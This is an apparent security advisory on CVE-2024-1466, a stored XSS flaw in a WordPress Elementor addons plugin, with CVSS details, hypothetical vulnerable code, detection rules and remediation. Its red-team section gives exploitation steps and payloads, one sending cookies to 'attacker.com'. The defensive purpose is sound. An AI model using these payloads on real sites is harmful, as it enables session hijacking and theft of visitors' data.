CVE-2024-1466

Executive Summary

CVE-2024-1466 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.4. The flaw resides in the slider_style attribute of the Posts Multislider widget. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.4) and currently has no known public exploit or patch. Note: CVE-2024-27986 may be a duplicate of this issue.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the Posts Multislider widget of the Elementor Addons by Livemesh plugin. The slider_style attribute is used to define the visual style of the slider. The plugin fails to properly sanitize and escape user-supplied input before rendering it in the HTML output. An attacker with contributor-level access can craft a malicious slider_style value containing JavaScript payloads. When the widget is rendered on a page, the injected script executes in the context of any user viewing that page.

Root Cause: Insufficient input validation and output escaping in the widget’s rendering logic. The plugin likely uses echo or print without applying WordPress’s esc_attr() or esc_html() functions.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates or edits a page/post using the Elementor builder.
3. Adds the Posts Multislider widget and sets the slider_style attribute to a malicious value (e.g., "><script>alert('XSS')</script>).
4. Publishes or saves the page.
5. Any user visiting the page triggers the script execution.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (hypothetical):

// In widget rendering function
echo '<div class="posts-multislider" data-slider-style="' . $settings['slider_style'] . '">';

Patched Code (hypothetical):

// In widget rendering function
echo '<div class="posts-multislider" data-slider-style="' . esc_attr($settings['slider_style']) . '">';

The patched version uses esc_attr() to escape the attribute value, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Elementor Addons by Livemesh <= 8.3.4 installed.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress admin.
2. Navigate to Pages > Add New.
3. Click “Edit with Elementor”.
4. Search for “Posts Multislider” widget and drag it to the page.
5. In the widget settings, locate the slider_style field.
6. Inject payload: "><img src=x onerror=alert(document.cookie)>
7. Update and publish the page.
8. Visit the page as a non-admin user to trigger the XSS.

Example Payload:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual slider_style values in page/post revisions.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Enable WordPress security plugins that scan for malicious content.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply the principle of least privilege for user roles.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/addons-for-elementor/ (entire plugin directory)
• Database: Suspicious post_content entries containing <script> tags or event handlers in slider_style attribute.
• Network: Outbound requests to attacker-controlled domains from compromised pages.
• Logs: Elementor builder logs showing unusual slider_style values.

Detection Engineering

YARA Rule

rule CVE_2024_1466_XSS {
    meta:
        description = "Detects malicious slider_style attribute in Elementor Addons by Livemesh"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1466"
    strings:
        $xss1 = /slider_style["']?\s*[:=]\s*["'][^"']*<script/i
        $xss2 = /slider_style["']?\s*[:=]\s*["'][^"']*onerror/i
        $xss3 = /slider_style["']?\s*[:=]\s*["'][^"']*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1466 Stored XSS in Elementor Addons by Livemesh
id: 8a3f2c1e-5b7d-4f9a-8c6e-1d2e3f4a5b6c
status: experimental
description: Detects stored XSS via slider_style attribute in Posts Multislider widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "addons-for-elementor"
        http.request_body|contains: "slider_style"
        http.request_body|contains|any:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in slider_style (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1466 Stored XSS in Elementor Addons by Livemesh"; flow:to_server,established; content:"POST"; http_method; content:"addons-for-elementor"; http_uri; content:"slider_style"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

• Monitor the plugin’s official repository for a patched version (>= 8.3.5).
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with a more secure alternative if no patch is released.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT